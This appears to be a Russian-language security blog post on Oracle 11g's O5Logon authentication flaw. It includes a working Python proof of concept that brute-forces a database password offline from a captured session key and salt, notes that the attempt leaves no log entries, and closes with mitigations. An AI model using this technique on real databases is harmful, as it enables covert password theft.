Краткий обзор механизма работы O5Logon
Взаимодействие с сервером происходит по следующей схеме:
- Клиент подключается к серверу и отправляет имя пользователя
- Сервер генерирует идентификатор сессии и шифрует его, используя AES-192. В качестве ключа используется SHA1 хэш пароля пользователя и добавляемой к нему соли (salt)
- Сервер отправляет зашифрованный идентификатор сессии и соль клиенту
- Клиент генерирует ключ, путем получения хэша от своего пароля и полученной соли. Используя данный ключ, клиент расшифровывает данные сессии, полученные от сервера.
- На снове расшифрованного идентификатора сессии сервера, клиент вырабатывает новый общий ключ, который используется в дальнейшем
Основной интерес представляют этапы 1-3, которые можно представить в следующем виде:

Сервер с самого начала соединения передает всю информацию, необходимую для подбора пароля. Провести атаку позволяет ключевая особенность Session Id: последние 8 байт открытого идентификатора сессии всегда состоят из восьмерок. Этой информации достаточно, чтобы определить правильность дешифрования.
Другой особенностью данной проблемы является то, что разорвав соединение после 3-го этапа, факт попытки подключения не будет отображаться в логах, т.е. атаку можно произвести полностью незаметно.
Практический аспект
Для тестирования уязвимости установлена свободно распространяемый дамп виртуальной машины, используемой Oracle для обучения разработчиков и содержащая предустановленную БД версии 11.2.0.2
После инсталляции можно пробовать подключиться к БД по стандартному порту, используя, например, Python и библиотеку cx_Oracle. В качестве теста, подбор осуществлялся для встроенного пользователя system. Достаточно знать лишь имя пользователя, чтобы получить все необходимые данные для дальнейшей атаки:
>>> import cx_Oracle >>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl') Traceback (most recent call last): File "<stdin>", line 1, in <module> cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied
Для получения зашифрованого идентификатора сессии и соли в данном случае проще всего было использовать Wireshark:

Полезными здесь будут следующие значения:
Идентификатор сессии(AUTH_SESSKEY): EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767
Соль(AUTH_VFR_DATA): A7193E546377EC56639E
Proof of concept
Для дешифрования сессии и брутфорса пароля на коленке был написан следующий код:
#-*-coding:utf8 -*- import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash = hashlib.sha1(password+salt) #дополняем длину ключв шифрования до 24 байт key = pass_hash.digest() + '\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain #зашифрованный идентикатор сессии 48 байт session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' #соль 10 байт salt_hex = 'A7193E546377EC56639E' passwords = ['test','password','oracle','demo'] for password in passwords: session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex')) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print 'PASSWORD IS "%s"' % password break
При запуске программы получаем:
Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274 Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808 PASSWORD IS "oracle" [Finished in 0.1s]
Пароль успешно подобран.
Заключение
Oracle решил данную проблему в версии 11.2.0.3, разрешив пользователям использовать новый механизм аутентификации, для включения которого необходимо в файлах sqlnet.ora для клиентской и серверной части явно прописать:
SQLNET.ALLOWED_LOGON_VERSION=12Но наврятли можно считать это решение приемлемым для большинства работающих систем, т.к. кроме серверной части необходимо переконфигурировать и клиентов. Как обычно в таких случаях, разумными рекомендациями можно считать использование надежных паролей и четкое ограничение на уровне сетевого доступа.

